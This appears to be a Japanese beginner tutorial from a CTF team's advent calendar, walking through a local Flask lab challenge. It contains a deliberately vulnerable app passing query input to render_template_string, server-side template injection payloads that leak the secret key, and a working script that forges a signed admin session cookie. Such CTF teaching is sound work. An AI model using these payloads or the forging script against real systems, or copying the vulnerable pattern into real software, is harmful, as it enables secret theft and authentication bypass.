Python
Flask
jinja2
CTF
SSTI
m1z0r3Day 1

CTF的 Flaskに対する攻撃まとめ

この記事は m1z0r3 Advent Calendar 2018 の1日目です。

m1z0r3 では年に一度、チーム内で問題を出し合って解くチーム内 CTF を開催しています。
奇しくも今年のチーム内 CTF は明日に開催のため、実際に作った問題の解説はできないので、今日はボツになった作問案から書きたいと思います。

はじめに

CTF(Capture The Flag)では、問題を解く際に Python でスクリプトを書くことが多いです。
Python には Flask という軽量Webフレームワークがあり、 CTFd という CTF のスコアサーバが簡単に構築できるフレームワークなどにも使われています。

Flask は手軽に Web アプリケーションを構築できる一方で、(他の言語・フレームワーク同様に)正しく使わないとセキュリティ上問題があります。そのため、CTF の Web 問題でもしばしば取り扱われます。

本記事では、上記の問題を解きながら、CTF でよく扱われる Flask への攻撃を解説しようと思います。
(なお、間違い等がありましたら、コメントや編集リクエストで優しく指摘してもらえると嬉しいです :bow:

ちなみに対象は CTF 初心者としています。

問題の概要

GitHub の README にあるようにセットアップをします。

セットアップ後 http://localhost:5000 にアクセスすると、問題のソースコードが見られます。

app.py
#!/usr/bin/env python3
import os
from dotenv import load_dotenv
from flask import Flask, render_template_string, request, session

# Load dotenv
dotenv_path = os.path.join(os.path.dirname(__file__), '.env')
load_dotenv(dotenv_path)

FLAG = os.environ.pop('FLAG')

app = Flask(__name__)
app.secret_key = os.environ.pop('SECRET_KEY')


@app.route('/', methods=['GET'])
def index():
    session['username'] = 'guest'
    return open(__file__).read()


@app.route('/echo', methods=['GET'])
def echo():
    return render_template_string(request.args.get('q', ''))


@app.route('/admin', methods=['GET'])
def admin():
    if session.get('username') == 'admin':
        return FLAG
    else:
        return 'You are not admin!'


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=True)

目標は何とかして FLAG という定数の値を手に入れることです。

そのためには session['username'] の値を admin に書き換える必要があることがわかります。

Flask のセッション管理

まずはじめに、Flask のセッションの管理方法について見てみます。

Flask では標準で Flask.secret_key を設定すると、セッションを使うことができます。この時、Flask ではセッションの内容を署名付きで Cookie に保存します。

問題ページにアクセスして、ブラウザの開発者ツールや EditThisCookie などで Cookie の値を確認すると、 session という Cookie の中に以下のような値が入っていると思います。

eyJ1c2VybmFtZSI6Imd1ZXN0In0.W_vMzg.g41aywjgtacuHnXixdM3UaG9wN4

このうち . で区切った最初の部分 eyJ1c2VybmFtZSI6Imd1ZXN0In0 がセッションの中身を Base64 エンコードしたものになっています。

$ echo -n 'eyJ1c2VybmFtZSI6Imd1ZXN0In0=' | base64 -D
{"username":"guest"}

なお、セッションの中身が大きくなると zlib で圧縮され、その時には先頭に . が付きます。

Cookie を . で区切った2番目の部分はタイムスタンプであり、3番目は署名となります。署名には secret_key の値が必要となるため、 セッションの改ざんはできません。

したがって、Flask の標準のセッションでは Cookieからセッションの中身を見ることはできてしまいますが、 secret_key の値が漏洩しない限りセッションの改ざんはできません。

Server-Side Template Injection

Web フレームワークでは、動的に HTML を生成するためにテンプレートエンジンを用いることが多いです。テンプレートエンジンは、雛形となるテンプレートとデータを合成して、HTML やメール等を生成します。

Flask では Jinja2 というテンプレートエンジンを使っています。簡単な例を見てみましょう。

from flask import render_template

@app.route('/users')
def users():
    users = [{'name': f'user{i}', 'url': f'http://example.com/{i}'} for i in range(5)]
    return render_template('index.html', users=users)
templates/index.html
<ul>
{% for user in users %}
  <li><a href="{{ user.url }}">{{ user.name }}</a></li>
{% endfor %}
</ul>

Flask では render_template という関数によって、使用するテンプレートとテンプレートに渡す変数を指定して render します。
Jinja テンプレート内では {% %} で囲まれた部分が Jinja の構文と見なされ、 {{ }} で囲まれた部分は評価した結果を表示するようになっています。

ここで、問題のソースコードを見てみましょう。

@app.route('/echo', methods=['GET'])
def echo():
    return render_template_string(request.args.get('q', ''))

render_template_string という関数は、第一引数の文字列をテンプレートとみなし render する関数です。第一引数は /echo?q=...... に相当するクエリパラメータです。

例えば /echo?q=hoge にアクセスすると、 hoge と表示されると思います。
しかし、 /echo?q={{10*10}} にアクセスすると、 {{ }} で囲まれた部分の内側の 10*10 が Jinja2 により評価され 100 が表示されます。

このように、ユーザーが何かしらの要因によりテンプレートに不正な値を埋め込むことで、任意のコードを実行することを サーバサイドテンプレートインジェクション と言います。

そして、 Flask ではデフォルトでいくつかの変数が Jinja2 に渡されており、テンプレート内で利用することができます。

その中の一つの config の中に secret_key が格納されています。したがって、 /echo?q={{config}} にアクセスすると、 config の中にある secret_key の値が見えてしまいます。

<Config {'ENV': 'production', 'DEBUG': True, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>

Flask のセッション改ざん

secret_key の値が手に入ったので、今度はセッションの中身を見るだけでなく書き換えることもできます。

#!/usr/bin/env python3
import zlib
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import base64_decode, URLSafeTimedSerializer


class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
    # NOTE: Override method
    def get_signing_serializer(self, secret_key):
        signer_kwargs = {
            'key_derivation': self.key_derivation,
            'digest_method': self.digest_method
        }
        return URLSafeTimedSerializer(
            secret_key,
            salt=self.salt,
            serializer=self.serializer,
            signer_kwargs=signer_kwargs
        )


class FlaskSessionCookieManager:
    @classmethod
    def decode(cls, secret_key, cookie):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.loads(cookie)

    @classmethod
    def encode(cls, secret_key, session):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.dumps(session)


if __name__ == '__main__':
    secret_key = '<<-- Input Seccret Key -->>'
    cookie = '<<-- Input Cookie -->>'
    print(FlaskSessionCookieManager.decode(secret_key, cookie))

    session = { 'username': 'admin' }
    print(FlaskSessionCookieManager.encode(secret_key, session))

上記のスクリプトは、Flask がセッションの内容を Cookie に格納する処理の一部を書き換えて、任意の内容で署名できるようにしたものです。
これにより手に入った Cookie を使ってアクセスすると、無事 FLAG が手に入ります。

PyJail のあれこれ

今回は受け取ったクエリパラメータをそのままテンプレートとして扱いましたが、実際の CTF では何かしらの制約が設けられることが多いです。

例えば、今回の secret_key を見る方法は他にもあります。

  • /echo?q={{self.__dict__}}
  • /echo?q={{url_for.__globals__.current_app.__dict__}}
  • /echo?q={{get_flashed_messages.__globals__.current_app.__dict__}}
  • /echo?q={{request._load_form_data.__globals__.current_app.__dict__}}
  • /echo?q={{g.get.__globals__.sys.modules.app.app.__dict__}}
  • /echo?q={{hoge.__init__.__globals__.sys.modules.app.app.__dict__}}

Jinja2 では組み込み関数は使えないため、以下のような特殊属性、特殊メソッドをよく使います。

  • object.__dict__ : オブジェクトの属性を保存している辞書
  • instance.__class__ : クラスインスタンスが属しているクラス
  • callable.__globals__ : 関数のグローバル変数の入った辞書
  • object.__getitem__(key) : object[key] が使えない時など

参考